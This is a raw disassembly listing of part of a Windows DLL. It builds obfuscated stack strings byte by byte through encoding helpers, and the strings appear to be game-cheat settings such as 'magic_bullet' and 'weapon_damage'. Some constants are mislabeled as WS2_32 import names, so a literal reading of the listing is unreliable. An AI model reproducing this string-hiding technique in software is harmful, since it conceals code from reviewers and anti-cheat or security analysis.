mov cl, 0x63
call fcn.1800bfe40
mov byte [rsp + 0x668], al
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.1800bfe40
mov byte [rsp + 0x669], al
mov cl, 0x78
call fcn.1800bfe40
mov byte [rsp + 0x66a], al
mov cl, 0x3a
call fcn.1800bfe40
mov byte [rsp + 0x66b], al
mov cl, 0x3a
call fcn.1800bfe40
mov byte [rsp + 0x66c], al
mov cl, 0x76
call fcn.1800bfe40
mov byte [rsp + 0x66d], al
mov cl, 0x61
call fcn.1800bfe40
mov byte [rsp + 0x66e], al
mov cl, WSAStartup
call fcn.1800bfe40
mov byte [rsp + 0x66f], al
mov cl, reloc.WS2_32.dll_WSAStartup
call fcn.1800bfe40
mov byte [rsp + 0x670], al
mov cl, 0x3a
call fcn.1800bfe40
mov byte [rsp + 0x671], al
mov cl, 0x3a
call fcn.1800bfe40
mov byte [rsp + 0x672], al
mov cl, reloc.WS2_32.dll_WSAStartup
call fcn.1800bfe40
mov byte [rsp + 0x673], al
mov cl, 0x69
call fcn.1800bfe40
mov byte [rsp + 0x674], al
mov cl, 0x6c
call fcn.1800bfe40
mov byte [rsp + 0x675], al
mov cl, 0x65
call fcn.1800bfe40
mov byte [rsp + 0x676], al
mov cl, WSAGetLastError
call fcn.1800bfe40
mov byte [rsp + 0x677], al
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.1800bfe40
mov byte [rsp + 0x678], al
xor ecx, ecx
call fcn.1800bfe40
mov byte [rsp + 0x679], al
movups xmm0, xmmword [rsp + 0x668]
movups xmmword [rsp + 0x1ad0], xmm0
movzx eax, word [rsp + 0x678]
mov word [rsp + 0x1ae0], ax
lea rax, [rsp + 0x1ad0]
mov qword [rsp + 0x4a78], rax
lea rcx, [rsp + 0x3690]
call fcn.180015e10
xor r8d, r8d
lea edx, [r8 + 0x12]
lea rcx, [rsp + 0x3690]
call fcn.180015cd0
xor esi, esi
mov dword [rsp + 0x1240], esi
nop dword [rax]
cmp esi, 0x12
jge 0x180080240
movsxd rdi, esi
mov rdx, rdi
lea rcx, [rsp + 0x1ad0]
call fcn.1800c0c40
movzx ecx, byte [rax]
call fcn.1800bfe40
movzx ebx, al
mov rdx, rdi
lea rcx, [rsp + 0x3690]
call fcn.1800be930
mov byte [rax], bl
inc esi
mov dword [rsp + 0x1240], esi
jmp 0x180080200
lea rcx, [rsp + 0x3690]
call fcn.18000ce90
mov qword [rsp + 0x2428], rax
lea r8, [0x1801eae68]
lea rdx, [rsp + 0x2428]
lea rcx, [rsp + 0x6220]
call fcn.1800c33c0
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x22d0], xmm0
mov qword [rsp + 0x22e0], rax
mov cl, 0x63
call fcn.1800bfec0
mov byte [rsp + 0xa50], al
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.1800bfec0
mov byte [rsp + 0xa51], al
mov cl, 0x78
call fcn.1800bfec0
mov byte [rsp + 0xa52], al
mov cl, 0x3a
call fcn.1800bfec0
mov byte [rsp + 0xa53], al
mov cl, 0x3a
call fcn.1800bfec0
mov byte [rsp + 0xa54], al
mov cl, 0x76
call fcn.1800bfec0
mov byte [rsp + 0xa55], al
mov cl, 0x61
call fcn.1800bfec0
mov byte [rsp + 0xa56], al
mov cl, WSAStartup
call fcn.1800bfec0
mov byte [rsp + 0xa57], al
mov cl, reloc.WS2_32.dll_WSAStartup
call fcn.1800bfec0
mov byte [rsp + 0xa58], al
mov cl, 0x3a
call fcn.1800bfec0
mov byte [rsp + 0xa59], al
mov cl, 0x3a
call fcn.1800bfec0
mov byte [rsp + 0xa5a], al
mov cl, 0x6d
call fcn.1800bfec0
mov byte [rsp + 0xa5b], al
mov cl, 0x61
call fcn.1800bfec0
mov byte [rsp + 0xa5c], al
mov cl, 0x67
call fcn.1800bfec0
mov byte [rsp + 0xa5d], al
mov cl, 0x69
call fcn.1800bfec0
mov byte [rsp + 0xa5e], al
mov cl, 0x63
call fcn.1800bfec0
mov byte [rsp + 0xa5f], al
mov cl, 0x5f
call fcn.1800bfec0
mov byte [rsp + 0xa60], al
mov cl, 0x62
call fcn.1800bfec0
mov byte [rsp + 0xa61], al
mov cl, 0x75
call fcn.1800bfec0
mov byte [rsp + 0xa62], al
mov cl, 0x6c
call fcn.1800bfec0
mov byte [rsp + 0xa63], al
mov cl, 0x6c
call fcn.1800bfec0
mov byte [rsp + 0xa64], al
mov cl, 0x65
call fcn.1800bfec0
mov byte [rsp + 0xa65], al
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.1800bfec0
mov byte [rsp + 0xa66], al
xor ecx, ecx
call fcn.1800bfec0
mov byte [rsp + 0xa67], al
movups xmm0, xmmword [rsp + 0xa50]
movups xmmword [rsp + 0x22d0], xmm0
movsd xmm1, qword [rsp + 0xa60]
movsd qword [rsp + 0x22e0], xmm1
lea rax, [rsp + 0x22d0]
mov qword [rsp + 0x4a80], rax
lea rcx, [rsp + 0x3670]
call fcn.180015e10
xor r8d, r8d
lea edx, [r8 + 0x18]
lea rcx, [rsp + 0x3670]
call fcn.180015cd0
xor esi, esi
mov dword [rsp + 0x123c], esi
cmp esi, 0x18
jge 0x180080472
movsxd rdi, esi
mov rdx, rdi
lea rcx, [rsp + 0x22d0]
call fcn.1800c0b60
movzx ecx, byte [rax]
call fcn.1800bfec0
movzx ebx, al
mov rdx, rdi
lea rcx, [rsp + 0x3670]
call fcn.1800be930
mov byte [rax], bl
inc esi
mov dword [rsp + 0x123c], esi
jmp 0x180080432
lea rcx, [rsp + 0x3670]
call fcn.18000ce90
mov qword [rsp + 0x2420], rax
lea r8, [0x1801eaeaa]
lea rdx, [rsp + 0x2420]
lea rcx, [rsp + 0x6250]
call fcn.1800c33c0
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x18e0], xmm0
mov dword [rsp + 0x18f0], eax
mov word [rsp + 0x18f4], ax
mov cl, 0x63
call fcn.1800bfe90
mov byte [rsp + 0x140], al
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.1800bfe90
mov byte [rsp + 0x141], al
mov cl, 0x78
call fcn.1800bfe90
mov byte [rsp + 0x142], al
mov cl, 0x3a
call fcn.1800bfe90
mov byte [rsp + 0x143], al
mov cl, 0x3a
call fcn.1800bfe90
mov byte [rsp + 0x144], al
mov cl, 0x76
call fcn.1800bfe90
mov byte [rsp + 0x145], al
mov cl, 0x61
call fcn.1800bfe90
mov byte [rsp + 0x146], al
mov cl, WSAStartup
call fcn.1800bfe90
mov byte [rsp + 0x147], al
mov cl, reloc.WS2_32.dll_WSAStartup
call fcn.1800bfe90
mov byte [rsp + 0x148], al
mov cl, 0x3a
call fcn.1800bfe90
mov byte [rsp + 0x149], al
mov cl, 0x3a
call fcn.1800bfe90
mov byte [rsp + 0x14a], al
mov cl, WSAStartup
call fcn.1800bfe90
mov byte [rsp + 0x14b], al
mov cl, 0x61
call fcn.1800bfe90
mov byte [rsp + 0x14c], al
mov cl, reloc.WS2_32.dll_WSASetLastError
call fcn.1800bfe90
mov byte [rsp + 0x14d], al
mov cl, 0x69
call fcn.1800bfe90
mov byte [rsp + 0x14e], al
mov cl, 0x64
call fcn.1800bfe90
mov byte [rsp + 0x14f], al
mov cl, 0x5f
call fcn.1800bfe90
mov byte [rsp + 0x150], al
mov cl, 0x66
call fcn.1800bfe90
mov byte [rsp + 0x151], al
mov cl, 0x69
call fcn.1800bfe90
mov byte [rsp + 0x152], al
mov cl, WSAStartup
call fcn.1800bfe90
mov byte [rsp + 0x153], al
mov cl, 0x65
call fcn.1800bfe90
mov byte [rsp + 0x154], al
xor ecx, ecx
call fcn.1800bfe90
mov byte [rsp + 0x155], al
movups xmm0, xmmword [rsp + 0x140]
movups xmmword [rsp + 0x18e0], xmm0
mov eax, dword [rsp + 0x150]
mov dword [rsp + 0x18f0], eax
movzx eax, word [rsp + 0x154]
mov word [rsp + 0x18f4], ax
lea rax, [rsp + 0x18e0]
mov qword [rsp + 0x4a88], rax
lea rcx, [rsp + 0x3650]
call fcn.180015e10
xor r8d, r8d
lea edx, [r8 + 0x16]
lea rcx, [rsp + 0x3650]
call fcn.180015cd0
xor esi, esi
mov dword [rsp + 0x1238], esi
nop dword [rax + rax]
cmp esi, 0x16
jge 0x1800806a0
movsxd rdi, esi
mov rdx, rdi
lea rcx, [rsp + 0x18e0]
call fcn.1800c0a30
movzx ecx, byte [rax]
call fcn.1800bfe90
movzx ebx, al
mov rdx, rdi
lea rcx, [rsp + 0x3650]
call fcn.1800be930
mov byte [rax], bl
inc esi
mov dword [rsp + 0x1238], esi
jmp 0x180080660
lea rcx, [rsp + 0x3650]
call fcn.18000ce90
mov qword [rsp + 0x2418], rax
lea r8, [0x1801eae8e]
lea rdx, [rsp + 0x2418]
lea rcx, [rsp + 0x6280]
call fcn.1800c33c0
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x22b8], xmm0
mov qword [rsp + 0x22c8], rax
mov cl, 0x63
call fcn.1800bfeb0
mov byte [rsp + 0xa38], al
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.1800bfeb0
mov byte [rsp + 0xa39], al
mov cl, 0x78
call fcn.1800bfeb0
mov byte [rsp + 0xa3a], al
mov cl, 0x3a
call fcn.1800bfeb0
mov byte [rsp + 0xa3b], al
mov cl, 0x3a
call fcn.1800bfeb0
mov byte [rsp + 0xa3c], al
mov cl, 0x76
call fcn.1800bfeb0
mov byte [rsp + 0xa3d], al
mov cl, 0x61
call fcn.1800bfeb0
mov byte [rsp + 0xa3e], al
mov cl, WSAStartup
call fcn.1800bfeb0
mov byte [rsp + 0xa3f], al
mov cl, reloc.WS2_32.dll_WSAStartup
call fcn.1800bfeb0
mov byte [rsp + 0xa40], al
mov cl, 0x3a
call fcn.1800bfeb0
mov byte [rsp + 0xa41], al
mov cl, 0x3a
call fcn.1800bfeb0
mov byte [rsp + 0xa42], al
mov cl, 0x77
call fcn.1800bfeb0
mov byte [rsp + 0xa43], al
mov cl, 0x65
call fcn.1800bfeb0
mov byte [rsp + 0xa44], al
mov cl, 0x61
call fcn.1800bfeb0
mov byte [rsp + 0xa45], al
mov cl, reloc.WS2_32.dll_WSASetLastError
call fcn.1800bfeb0
mov byte [rsp + 0xa46], al
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.1800bfeb0
mov byte [rsp + 0xa47], al
mov cl, WSAGetLastError
call fcn.1800bfeb0
mov byte [rsp + 0xa48], al
mov cl, 0x64
call fcn.1800bfeb0
mov byte [rsp + 0xa49], al
mov cl, 0x61
call fcn.1800bfeb0
mov byte [rsp + 0xa4a], al
mov cl, 0x6d
call fcn.1800bfeb0
mov byte [rsp + 0xa4b], al
mov cl, 0x61
call fcn.1800bfeb0
mov byte [rsp + 0xa4c], al
mov cl, 0x67
call fcn.1800bfeb0
mov byte [rsp + 0xa4d], al
mov cl, 0x65
call fcn.1800bfeb0
mov byte [rsp + 0xa4e], al
xor ecx, ecx
call fcn.1800bfeb0
mov byte [rsp + 0xa4f], al
movups xmm0, xmmword [rsp + 0xa38]
movups xmmword [rsp + 0x22b8], xmm0
movsd xmm1, qword [rsp + 0xa48]
movsd qword [rsp + 0x22c8], xmm1
lea rax, [rsp + 0x22b8]
mov qword [rsp + 0x4a90], rax
lea rcx, [rsp + 0x3630]
call fcn.180015e10
xor r8d, r8d
lea edx, [r8 + 0x18]
lea rcx, [rsp + 0x3630]
call fcn.180015cd0
xor esi, esi
mov dword [rsp + 0x1234], esi
cmp esi, 0x18
jge 0x1800808d2
movsxd rdi, esi
mov rdx, rdi
lea rcx, [rsp + 0x22b8]
call fcn.1800c0b60
movzx ecx, byte [rax]
call fcn.1800bfeb0
movzx ebx, al
mov rdx, rdi
lea rcx, [rsp + 0x3630]
call fcn.1800be930
mov byte [rax], bl
inc esi
mov dword [rsp + 0x1234], esi
jmp 0x180080892
lea rcx, [rsp + 0x3630]
call fcn.18000ce90
mov qword [rsp + 0x2410], rax
lea r8, [0x1801eae98]
lea rdx, [rsp + 0x2410]
lea rcx, [rsp + 0x62b0]
call fcn.1800c33c0
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x1e50], xmm0
mov qword [rsp + 0x1e60], rax
mov word [rsp + 0x1e68], ax
mov cl, 0x63
call fcn.1800bfea0
mov byte [rsp + 0x4f0], al
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.1800bfea0
mov byte [rsp + 0x4f1], al
mov cl, 0x78
call fcn.1800bfea0
mov byte [rsp + 0x4f2], al
mov cl, 0x3a
call fcn.1800bfea0
mov byte [rsp + 0x4f3], al
mov cl, 0x3a
call fcn.1800bfea0
mov byte [rsp + 0x4f4], al
mov cl, 0x76
call fcn.1800bfea0
mov byte [rsp + 0x4f5], al
mov cl, 0x61
call fcn.1800bfea0
mov byte [rsp + 0x4f6], al
mov cl, WSAStartup
call fcn.1800bfea0
mov byte [rsp + 0x4f7], al
mov cl, reloc.WS2_32.dll_WSAStartup
call fcn.1800bfea0
mov byte [rsp + 0x4f8], al
mov cl, 0x3a
call fcn.1800bfea0
mov byte [rsp + 0x4f9], al
mov cl, 0x3a
call fcn.1800bfea0
mov byte [rsp + 0x4fa], al
mov cl, 0x63
call fcn.1800bfea0
mov byte [rsp + 0x4fb], al
mov cl, 0x5f
call fcn.1800bfea0
mov byte [rsp + 0x4fc], al
mov cl, WSAStartup
call fcn.1800bfea0
mov byte [rsp + 0x4fd], al
mov cl, 0x65
call fcn.1800bfea0
mov byte [rsp + 0x4fe], al
mov cl, 0x6c
call fcn.1800bfea0
mov byte [rsp + 0x4ff], al
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.1800bfea0
mov byte [rsp + 0x500], al
mov cl, 0x61
call fcn.1800bfea0
mov byte [rsp + 0x501], al
mov cl, 0x64
call fcn.1800bfea0
mov byte [rsp + 0x502], al
mov cl, 0x5f
call fcn.1800bfea0
mov byte [rsp + 0x503], al
mov cl, reloc.WS2_32.dll_WSAStartup
call fcn.1800bfea0
mov byte [rsp + 0x504], al
mov cl, reloc.WS2_32.dll_WSASetLastError
call fcn.1800bfea0
mov byte [rsp + 0x505], al
mov cl, 0x65
call fcn.1800bfea0
mov byte [rsp + 0x506], al
mov cl, 0x65
call fcn.1800bfea0
mov byte [rsp + 0x507], al
mov cl, 0x64
call fcn.1800bfea0
mov byte [rsp + 0x508], al
xor ecx, ecx
call fcn.1800bfea0
mov byte [rsp + 0x509], al
movups xmm0, xmmword [rsp + 0x4f0]
movups xmmword [rsp + 0x1e50], xmm0
movsd xmm1, qword [rsp + 0x500]
movsd qword [rsp + 0x1e60], xmm1
movzx eax, word [rsp + 0x508]
mov word [rsp + 0x1e68], ax
lea rax, [rsp + 0x1e50]
mov qword [rsp + 0x4a98], rax
lea rcx, [rsp + 0x3610]
call fcn.180015e10
xor r8d, r8d
lea edx, [r8 + 0x1a]
lea rcx, [rsp + 0x3610]
call fcn.180015cd0
xor esi, esi
mov dword [rsp + 0x1230], esi
cmp esi, 0x1a
jge 0x180080b38
movsxd rdi, esi
mov rdx, rdi
lea rcx, [rsp + 0x1e50]
call fcn.1800c0990
movzx ecx, byte [rax]
call fcn.1800bfea0
movzx ebx, al
mov rdx, rdi
lea rcx, [rsp + 0x3610]
call fcn.1800be930
mov byte [rax], bl
inc esi
mov dword [rsp + 0x1230], esi
jmp 0x180080af8
lea rcx, [rsp + 0x3610]
call fcn.18000ce90
mov qword [rsp + 0x2408], rax
lea r8, [0x1801eae91]
lea rdx, [rsp + 0x2408]
lea rcx, [rsp + 0x62e0]
call fcn.1800c33c0
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x1cc0], xmm0
mov qword [rsp + 0x1cd0], rax
mov byte [rsp + 0x1cd8], al
mov cl, 0x63
call fcn.1800bfe60
mov byte [rsp + 0xc60], al
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.1800bfe60
mov byte [rsp + 0xc61], al
mov cl, 0x78
call fcn.1800bfe60
mov byte [rsp + 0xc62], al
mov cl, 0x3a
call fcn.1800bfe60
mov byte [rsp + 0xc63], al
mov cl, 0x3a
call fcn.1800bfe60
mov byte [rsp + 0xc64], al
mov cl, 0x76
call fcn.1800bfe60
mov byte [rsp + 0xc65], al
mov cl, 0x61
call fcn.1800bfe60
mov byte [rsp + 0xc66], al
mov cl, WSAStartup
call fcn.1800bfe60
mov byte [rsp + 0xc67], al
mov cl, reloc.WS2_32.dll_WSAStartup
call fcn.1800bfe60
mov byte [rsp + 0xc68], al
mov cl, 0x3a
call fcn.1800bfe60
mov byte [rsp + 0xc69], al
mov cl, 0x3a
call fcn.1800bfe60
mov byte [rsp + 0xc6a], al
mov cl, 0x69
call fcn.1800bfe60
mov byte [rsp + 0xc6b], al
mov cl, WSAGetLastError
call fcn.1800bfe60
mov byte [rsp + 0xc6c], al
mov cl, 0x66
call fcn.1800bfe60
mov byte [rsp + 0xc6d], al
mov cl, 0x69
call fcn.1800bfe60
mov byte [rsp + 0xc6e], al
mov cl, WSAGetLastError
call fcn.1800bfe60
mov byte [rsp + 0xc6f], al
mov cl, 0x69
call fcn.1800bfe60
mov byte [rsp + 0xc70], al
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.1800bfe60
mov byte [rsp + 0xc71], al
mov cl, 0x65
call fcn.1800bfe60
mov byte [rsp + 0xc72], al
mov cl, 0x5f
call fcn.1800bfe60
mov byte [rsp + 0xc73], al
mov cl, 0x61
call fcn.1800bfe60
mov byte [rsp + 0xc74], al
mov cl, 0x6d
call fcn.1800bfe60
mov byte [rsp + 0xc75], al
mov cl, 0x6d
call fcn.1800bfe60
mov byte [rsp + 0xc76], al
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.1800bfe60
mov byte [rsp + 0xc77], al
xor ecx, ecx
call fcn.1800bfe60
mov byte [rsp + 0xc78], al
movups xmm0, xmmword [rsp + 0xc60]
movups xmmword [rsp + 0x1cc0], xmm0
movsd xmm1, qword [rsp + 0xc70]
movsd qword [rsp + 0x1cd0], xmm1
mov byte [rsp + 0x1cd8], al
lea rax, [rsp + 0x1cc0]
mov qword [rsp + 0x4aa0], rax
lea rcx, [rsp + 0x35f0]
call fcn.180015e10
xor r8d, r8d
lea edx, [r8 + 0x19]
lea rcx, [rsp + 0x35f0]
call fcn.180015cd0
xor esi, esi
mov dword [rsp + 0x122c], esi
cmp esi, 0x19
jge 0x180080d86
movsxd rdi, esi
mov rdx, rdi
lea rcx, [rsp + 0x1cc0]
call fcn.1800c0360
movzx ecx, byte [rax]
call fcn.1800bfe60
movzx ebx, al
mov rdx, rdi
lea rcx, [rsp + 0x35f0]
call fcn.1800be930
mov byte [rax], bl
inc esi
mov dword [rsp + 0x122c], esi
jmp 0x180080d46
lea rcx, [rsp + 0x35f0]
call fcn.18000ce90
mov qword [rsp + 0x2400], rax
lea r8, [0x1801eae87]
lea rdx, [rsp + 0x2400]
lea rcx, [rsp + 0x6310]
call fcn.1800c33c0
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x16b8], xmm0
mov dword [rsp + 0x16c8], eax
mov byte [rsp + 0x16cc], al
mov cl, 0x63
call fcn.1800bfe90
mov byte [rsp + 0x990], al
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.1800bfe90
mov byte [rsp + 0x991], al
mov cl, 0x78
call fcn.1800bfe90
mov byte [rsp + 0x992], al
mov cl, 0x3a
call fcn.1800bfe90
mov byte [rsp + 0x993], al
mov cl, 0x3a
call fcn.1800bfe90
mov byte [rsp + 0x994], al
mov cl, 0x76
call fcn.1800bfe90
mov byte [rsp + 0x995], al
mov cl, 0x61
call fcn.1800bfe90
mov byte [rsp + 0x996], al
mov cl, WSAStartup
call fcn.1800bfe90
mov byte [rsp + 0x997], al
mov cl, reloc.WS2_32.dll_WSAStartup
call fcn.1800bfe90
mov byte [rsp + 0x998], al
mov cl, 0x3a
call fcn.1800bfe90
mov byte [rsp + 0x999], al
mov cl, 0x3a
call fcn.1800bfe90
mov byte [rsp + 0x99a], al
mov cl, WSAGetLastError
call fcn.1800bfe90
mov byte [rsp + 0x99b], al
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.1800bfe90
mov byte [rsp + 0x99c], al
mov cl, 0x5f
call fcn.1800bfe90
mov byte [rsp + 0x99d], al
mov cl, WSAStartup
call fcn.1800bfe90
mov byte [rsp + 0x99e], al
mov cl, 0x65
call fcn.1800bfe90
mov byte [rsp + 0x99f], al
mov cl, 0x6c
call fcn.1800bfe90
mov byte [rsp + 0x9a0], al
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.1800bfe90
mov byte [rsp + 0x9a1], al
mov cl, 0x61
call fcn.1800bfe90
mov byte [rsp + 0x9a2], al
mov cl, 0x64
call fcn.1800bfe90
mov byte [rsp + 0x9a3], al
xor ecx, ecx
call fcn.1800bfe90
mov byte [rsp + 0x9a4], al
movups xmm0, xmmword [rsp + 0x990]
movups xmmword [rsp + 0x16b8], xmm0
mov ecx, dword [rsp + 0x9a0]
mov dword [rsp + 0x16c8], ecx
mov byte [rsp + 0x16cc], al
lea rax, [rsp + 0x16b8]
mov qword [rsp + 0x4aa8], rax
lea rcx, [rsp + 0x35d0]
call fcn.180015e10
xor r8d, r8d
lea edx, [r8 + 0x15]
lea rcx, [rsp + 0x35d0]
call fcn.180015cd0
xor esi, esi
mov dword [rsp + 0x1228], esi
cmp esi, 0x15
jge 0x180080f97
movsxd rdi, esi
mov rdx, rdi
lea rcx, [rsp + 0x16b8]
call fcn.1800c0a50
movzx ecx, byte [rax]
call fcn.1800bfe90
movzx ebx, al
mov rdx, rdi
lea rcx, [rsp + 0x35d0]
call fcn.1800be930
mov byte [rax], bl
inc esi
mov dword [rsp + 0x1228], esi
jmp 0x180080f57
lea rcx, [rsp + 0x35d0]
call fcn.18000ce90
mov qword [rsp + 0x23f8], rax
lea r8, [0x1801eae71]
lea rdx, [rsp + 0x23f8]
lea rcx, [rsp + 0x6340]
call fcn.1800c33c0
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x1538], xmm0
mov dword [rsp + 0x1548], eax
mov word [rsp + 0x154c], ax
mov byte [rsp + 0x154e], al
mov cl, 0x63
call fcn.1800bfdb0
mov byte [rsp + 0x2d0], al
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.1800bfdb0
mov byte [rsp + 0x2d1], al
mov cl, 0x78
call fcn.1800bfdb0
mov byte [rsp + 0x2d2], al
mov cl, 0x3a
call fcn.1800bfdb0
mov byte [rsp + 0x2d3], al
mov cl, 0x3a
call fcn.1800bfdb0
mov byte [rsp + 0x2d4], al
mov cl, 0x76
call fcn.1800bfdb0
mov byte [rsp + 0x2d5], al
mov cl, 0x61
call fcn.1800bfdb0
mov byte [rsp + 0x2d6], al
mov cl, WSAStartup
call fcn.1800bfdb0
mov byte [rsp + 0x2d7], al
mov cl, reloc.WS2_32.dll_WSAStartup
call fcn.1800bfdb0
mov byte [rsp + 0x2d8], al
mov cl, 0x3a
call fcn.1800bfdb0
mov byte [rsp + 0x2d9], al
mov cl, 0x3a
call fcn.1800bfdb0
mov byte [rsp + 0x2da], al
mov cl, 0x63
call fcn.1800bfdb0
mov byte [rsp + 0x2db], al
mov cl, 0x5f
call fcn.1800bfdb0
mov byte [rsp + 0x2dc], al
mov cl, WSAGetLastError
call fcn.1800bfdb0
mov byte [rsp + 0x2dd], al
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.1800bfdb0
mov byte [rsp + 0x2de], al
mov cl, 0x5f
call fcn.1800bfdb0
mov byte [rsp + 0x2df], al
mov cl, reloc.WS2_32.dll_WSAStartup
call fcn.1800bfdb0
mov byte [rsp + 0x2e0], al
mov cl, reloc.WS2_32.dll_WSASetLastError
call fcn.1800bfdb0
mov byte [rsp + 0x2e1], al
mov cl, WSAStartup
call fcn.1800bfdb0
mov byte [rsp + 0x2e2], al
mov cl, 0x65
call fcn.1800bfdb0
mov byte [rsp + 0x2e3], al
mov cl, 0x61
call fcn.1800bfdb0
mov byte [rsp + 0x2e4], al
mov cl, 0x64
call fcn.1800bfdb0
mov byte [rsp + 0x2e5], al
xor ecx, ecx
call fcn.1800bfdb0
mov byte [rsp + 0x2e6], al
movups xmm0, xmmword [rsp + 0x2d0]
movups xmmword [rsp + 0x1538], xmm0
mov ecx, dword [rsp + 0x2e0]
mov dword [rsp + 0x1548], ecx
movzx ecx, word [rsp + 0x2e4]
mov word [rsp + 0x154c], cx
mov byte [rsp + 0x154e], al
lea rax, [rsp + 0x1538]
mov qword [rsp + 0x4ab0], rax
lea rcx, [rsp + 0x35b0]
call fcn.180015e10
xor r8d, r8d
lea edx, [r8 + 0x17]
lea rcx, [rsp + 0x35b0]
call fcn.180015cd0
xor esi, esi
mov dword [rsp + 0x1224], esi
nop dword [rax]
cmp esi, 0x17
jge 0x1800811e0
movsxd rdi, esi
mov rdx, rdi
lea rcx, [rsp + 0x1538]
call fcn.1800c0380
movzx ecx, byte [rax]
call fcn.1800bfdb0
movzx ebx, al
mov rdx, rdi
lea rcx, [rsp + 0x35b0]
call fcn.1800be930
mov byte [rax], bl
inc esi
mov dword [rsp + 0x1224], esi
jmp 0x1800811a0
lea rcx, [rsp + 0x35b0]
call fcn.18000ce90
mov qword [rsp + 0x23f0], rax
lea r8, [0x1801eae9f]
lea rdx, [rsp + 0x23f0]
lea rcx, [rsp + 0x6370]
call fcn.1800c33c0
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x1520], xmm0
mov dword [rsp + 0x1530], eax
mov word [rsp + 0x1534], ax
mov byte [rsp + 0x1536], al
mov cl, 0x63
call fcn.1800bfe80
mov byte [rsp + 0x2b8], al
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.1800bfe80
mov byte [rsp + 0x2b9], al
mov cl, 0x78
call fcn.1800bfe80
mov byte [rsp + 0x2ba], al
mov cl, 0x3a
call fcn.1800bfe80
mov byte [rsp + 0x2bb], al
mov cl, 0x3a
call fcn.1800bfe80
mov byte [rsp + 0x2bc], al
mov cl, 0x76
call fcn.1800bfe80
mov byte [rsp + 0x2bd], al
mov cl, 0x61
call fcn.1800bfe80
mov byte [rsp + 0x2be], al
mov cl, WSAStartup
call fcn.1800bfe80
mov byte [rsp + 0x2bf], al
mov cl, reloc.WS2_32.dll_WSAStartup
call fcn.1800bfe80
mov byte [rsp + 0x2c0], al
mov cl, 0x3a
call fcn.1800bfe80
mov byte [rsp + 0x2c1], al
mov cl, 0x3a
call fcn.1800bfe80
mov byte [rsp + 0x2c2], al
mov cl, 0x63
call fcn.1800bfe80
mov byte [rsp + 0x2c3], al
mov cl, 0x5f
call fcn.1800bfe80
mov byte [rsp + 0x2c4], al
mov cl, WSAGetLastError
call fcn.1800bfe80
mov byte [rsp + 0x2c5], al
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.1800bfe80
mov byte [rsp + 0x2c6], al
mov cl, 0x5f
call fcn.1800bfe80
mov byte [rsp + 0x2c7], al
mov cl, WSAStartup
call fcn.1800bfe80
mov byte [rsp + 0x2c8], al
mov cl, 0x65
call fcn.1800bfe80
mov byte [rsp + 0x2c9], al
mov cl, 0x63
call fcn.1800bfe80
mov byte [rsp + 0x2ca], al
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.1800bfe80
mov byte [rsp + 0x2cb], al
mov cl, 0x69
call fcn.1800bfe80
mov byte [rsp + 0x2cc], al
mov cl, 0x6c
call fcn.1800bfe80
mov byte [rsp + 0x2cd], al
xor ecx, ecx
call fcn.1800bfe80
mov byte [rsp + 0x2ce], al
movups xmm0, xmmword [rsp + 0x2b8]
movups xmmword [rsp + 0x1520], xmm0
mov ecx, dword [rsp + 0x2c8]
mov dword [rsp + 0x1530], ecx
movzx ecx, word [rsp + 0x2cc]
mov word [rsp + 0x1534], cx
mov byte [rsp + 0x1536], al
lea rax, [rsp + 0x1520]
mov qword [rsp + 0x4ab8], rax
lea rcx, [rsp + 0x3590]
call fcn.180015e10
xor r8d, r8d
lea edx, [r8 + 0x17]
lea rcx, [rsp + 0x3590]
call fcn.180015cd0
xor esi, esi
mov dword [rsp + 0x1220], esi
cmp esi, 0x17
jge 0x180081425
movsxd rdi, esi
mov rdx, rdi
lea rcx, [rsp + 0x1520]
call fcn.1800c0380
movzx ecx, byte [rax]
call fcn.1800bfe80
movzx ebx, al
mov rdx, rdi
lea rcx, [rsp + 0x3590]
call fcn.1800be930
mov byte [rax], bl
inc esi
mov dword [rsp + 0x1220], esi
jmp 0x1800813e5
lea rcx, [rsp + 0x3590]
call fcn.18000ce90
mov qword [rsp + 0x23e8], rax
lea r8, [0x1801eae6b]
lea rdx, [rsp + 0x23e8]
lea rcx, [rsp + 0x63a0]
call fcn.1800c33c0
xorps xmm0, xmm0
movups xmmword [rsp + 0x2630], xmm0
mov cl, 0x63
call fcn.1800bfe70
mov byte [rsp + 0xcb0], al
mov cl, 0x75
call fcn.1800bfe70
mov byte [rsp + 0xcb1], al
mov cl, reloc.WS2_32.dll_WSAStartup
call fcn.1800bfe70
mov byte [rsp + 0xcb2], al
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.1800bfe70
mov byte [rsp + 0xcb3], al
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.1800bfe70
mov byte [rsp + 0xcb4], al
mov cl, 0x6d
call fcn.1800bfe70
mov byte [rsp + 0xcb5], al
mov cl, reloc.WS2_32.dll_WSAStartup
call fcn.1800bfe70
mov byte [rsp + 0xcb6], al
mov cl, 0x3a
call fcn.1800bfe70
mov byte [rsp + 0xcb7], al
mov cl, 0x3a
call fcn.1800bfe70
mov byte [rsp + 0xcb8], al
mov cl, 0x62
